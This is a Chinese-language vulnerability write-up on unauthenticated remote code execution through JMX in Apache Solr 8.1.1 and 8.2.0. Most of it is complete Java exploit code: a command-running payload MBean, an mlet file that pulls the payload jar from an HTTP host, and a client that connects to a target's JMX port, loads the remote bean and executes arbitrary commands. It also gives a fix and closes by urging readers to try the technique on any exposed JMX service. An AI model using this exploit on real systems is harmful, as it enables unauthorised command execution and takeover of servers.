Apache Solr的8.1.1和8.2.0 linux版本的自带配置文件solr.in.sh中存在ENABLE_REMOTE_JMX_OPTS=”true”选项,并且默认开启,导致apache solr会在默认端口18983端口开放JMX服务,而且不需要身份认证,导致任何可以访问该端口的攻击者能够发起攻击,执行任意命令。
正如前言所说,这次apache solr 漏洞是JMX问题导致的,所以我们需要选简单介绍下JMX机制。
JMX(Java Management Extensions,即Java管理扩展)是一个为 应用程序 、 设备 、系统等植入管理功能的框架。狭隘的理解,我们可以通过JMX管理、监视我们的java程序。但是不是所有java程序都能被管理,只有通过特定实现的java才能够被管理,这种特定实现机制就是Mbean。
每一个MBean都需要实现一个接口,下面我们实现一个简单的HelloWorldMBean
public interface HelloWorldMBean { public void setGreeting(String greeting); public String getGreeting(); public void printGreeting(); } public class HelloWorld implements HelloWorldMBean { private String greeting = null; public HelloWorld(String greeting) { this.greeting = greeting; } public HelloWorld() { this.greeting = "Hello World! I am Standard MBean"; } @Override public void setGreeting(String greeting) { this.greeting = greeting; } @Override public String getGreeting() { return this.greeting; } @Override public void printGreeting() { System.out.println(this.greeting); } }
如果我们想要监控管理这个HelloWorldMBean,我们需要把该MBean添加到MBeanServer中。代码如下:
public class RemoteMbean { public static void main(String[] args){ try{ MBeanServer mBeanServer = ManagementFactory.getPlatformMBeanServer(); //--------------------------------------------- //local mbean System.out.println("Register Hello bean..."); HelloWorld hello = new HelloWorld(); ObjectName objectHelloName = new ObjectName("JMXHello:name=hello"); mBeanServer.registerMBean(hello, objectHelloName); //这句话非常重要,不能缺少!注册一个端口,绑定url后,客户端就可以使用rmi通过url方式来连接JMXConnectorServer Registry registry = LocateRegistry.createRegistry(1099); //构造JMXServiceURL JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:1099/jmxrmi"); //创建JMXConnectorServer JMXConnectorServer jmxConnectorServer = JMXConnectorServerFactory.newJMXConnectorServer(jmxServiceURL, null, mBeanServer); //启动 jmxConnectorServer.start(); System.out.println("JMXConnectorServer is running"); }catch (Exception e){ e.printStackTrace(); } } }
然后运行该程序,使用jconsole连接localhost:1099
这里我们可以通过jconsole执行远端HelloWorldMbean的printGreeting函数。
上节我们所编写的MBean是在本地的,JMX提供一种机制,可以使用远程的MBean。MLet对象,该对象有一个getMBeansFromURL方法,通过该方法我们可以使用远程的MBean。也正是因为这个原因,才导致JMX存在远程代码执行漏洞的可能。下面我们通过代码,观察下结果。
我们先编写一个Payload的MBean,并将其打包成jar包。
public interface PayloadMBean { public String runCmd(String cmd) throws IOException, InterruptedException; } public class Payload implements PayloadMBean { @Override public String runCmd(String cmd) throws IOException, InterruptedException { Runtime runtime = Runtime.getRuntime(); Process process = runtime.exec(cmd); BufferedReader stdInput = new BufferedReader(new InputStreamReader(process.getInputStream())); BufferedReader stdError = new BufferedReader(new InputStreamReader(process.getErrorStream())); String stdout_data = ""; String strtmp; while ((strtmp = stdInput.readLine()) != null) { stdout_data += strtmp + "/n"; } while ((strtmp = stdError.readLine()) != null) { stdout_data += strtmp + "/n"; } process.waitFor(); return stdout_data; } }
再创建一个名为mlet的文件,内容如下:
<HTML><mlet code=Payload archive=JMXPayload.jar name=MLetCompromise1:name=Payload,id=12></mlet></HTML>
这个文件是给getMBeansFromURL函数使用的,通过该文件,getMBeansFromURL会到远程下载JMXPayload.jar文件。
将JMXPayload.jar和mlet放在网站同一目录下。
将mletMBean添加到MBeanServer中,代码如下:
public class RemoteMbean { public static void main(String[] args){ try{ MBeanServer mBeanServer = ManagementFactory.getPlatformMBeanServer(); //--------------------------------------------- //local mbean System.out.println("Register Hello bean..."); HelloWorld hello = new HelloWorld(); ObjectName objectHelloName = new ObjectName("JMXHello:name=hello"); mBeanServer.registerMBean(hello, objectHelloName); //remote mbean System.out.println("Register MLet bean..."); MLet mLet = new MLet(); ObjectName objectNameMLet = new ObjectName("JMXMLet:type=MLet"); mBeanServer.registerMBean(mLet, objectNameMLet); //mLet.getMBeansFromURL("http://192.168.1.110:8080/mlet"); //----------------------------------------------------------------- //mBeanServer.invoke(evilObject.getObjectName(), "getMBeansFromURL", new Object[] {"http://192.168.1.110:8080/mlet"}, new String[] {String.class.getName()}); //这句话非常重要,不能缺少!注册一个端口,绑定url后,客户端就可以使用rmi通过url方式来连接JMXConnectorServer Registry registry = LocateRegistry.createRegistry(1099); //构造JMXServiceURL JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:1099/jmxrmi"); //创建JMXConnectorServer JMXConnectorServer jmxConnectorServer = JMXConnectorServerFactory.newJMXConnectorServer(jmxServiceURL, null, mBeanServer); //启动 jmxConnectorServer.start(); System.out.println("JMXConnectorServer is running"); }catch (Exception e){ e.printStackTrace(); } } }
使用jconsole连接localhost:1099
执行getMBeansFromURL函数,加载远程payloadmbean,结果如下:
(这个过程我们也可以在代码里自动完成mLet.getMBeansFromURL(“http://192.168.1.110:8080/mlet”);)
通过加载的远程payloadmbean,我们就可以执行任意命令。
上一节中,我们介绍了本地时如何加载使用远程MBean的,有意思的是,这一过程我们在远程也可以实现,换句话说,就是一个对外开放JMX的系统,我们可以通过代码使其加载远程的恶意payloadmbean,从而实现执行任意代码,而Apache Solr的8.1.1和8.2.0 linux版本,恰恰就是这样一个对外开放JMX服务的系统,所以存在远程执行漏洞。
代码如下:
static void connectAndCmd(String serverName, String port, String command){ try{ JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + serverName + ":" + port + "/jmxrmi"); // System.out.println("URL: " + jmxServiceURL + ", connecting"); JMXConnector jmxConnector = JMXConnectorFactory.connect(jmxServiceURL, null); // System.out.println("Connected: " + jmxConnector.getConnectionId()); MBeanServerConnection mBeanServerConnection = jmxConnector.getMBeanServerConnection(); ObjectInstance evil_bean = null; try{ evil_bean = mBeanServerConnection.getObjectInstance(new ObjectName(OBJECTNAME)); }catch (Exception e){ evil_bean = null; } if(evil_bean == null){ System.out.println("Trying to create bean..."); ObjectInstance evilObject = null; try{ evilObject = mBeanServerConnection.createMBean("javax.management.loading.MLet", null); }catch (InstanceAlreadyExistsException e){ evilObject = mBeanServerConnection.getObjectInstance(new ObjectName("DefaultDomain:type=MLet")); } System.out.println("Load " + evilObject.getClassName()); //调用getMBeansFromURL从远程服务器获取 MBean //加载包含 MLET 标记的文本文件,这些标记定义了要添加到 MBean 服务器的 MBean。 //MLET 文件中指定的 MBean 将被实例化并在 MBean 服务器中注册。 Object res = mBeanServerConnection.invoke(evilObject.getObjectName(), "getMBeansFromURL", new Object[] {String.format("http://192.168.1.110:8080/mlet", InetAddress.getLocalHost().getHostAddress()) }, new String[] {String.class.getName()} ); HashSet hashSet = (HashSet)res; Iterator iterator = hashSet.iterator(); Object nextObject = iterator.next(); if(nextObject instanceof Exception){ throw ((Exception)nextObject); } evil_bean = ((ObjectInstance)nextObject); } //调用恶意 MBean 中用于执行命令的函数 System.out.println("Loaded class: " + evil_bean.getClassName() + "--- object: " + evil_bean.getObjectName()); System.out.println("Calling runCommand with: " + command); Object result = mBeanServerConnection.invoke(evil_bean.getObjectName(), "runCmd", new Object[]{command}, new String[]{String.class.getName()}); System.out.println("Result: " + result); }catch (Exception e){ e.printStackTrace(); } }
使用jsonsole连接solr的18983端口,结果如下(如果连接失败,可能需要修改/etc/hosts下,主机名对应的ip地址,将其修改成实际ip地址)
使用上述代码测试攻击,成功实现任意命令执行
Metasploit也提供了jmx远程代码漏洞利用的模块exploit/multi/misc/java_jmx_server,有兴趣的可以自己试试。
将solr.in.sh配置文件中的ENABLE_REMOTE_JMX_OPTS选项设置为false,然后重启Solr服务即可。
Jmx远程代码执行漏洞是一个通用型漏洞,不单单存在与apache solr中,只要有对外开放JMX服务的系统,我们都可以使用该漏洞进行尝试,说不定有意外的收获。
参考:
https://www.cnblogs.com/trust-freedom/p/6842332.html
https://www.cnblogs.com/Sylon/p/11927518.html
https://www.cnblogs.com/afanti/p/10610682.html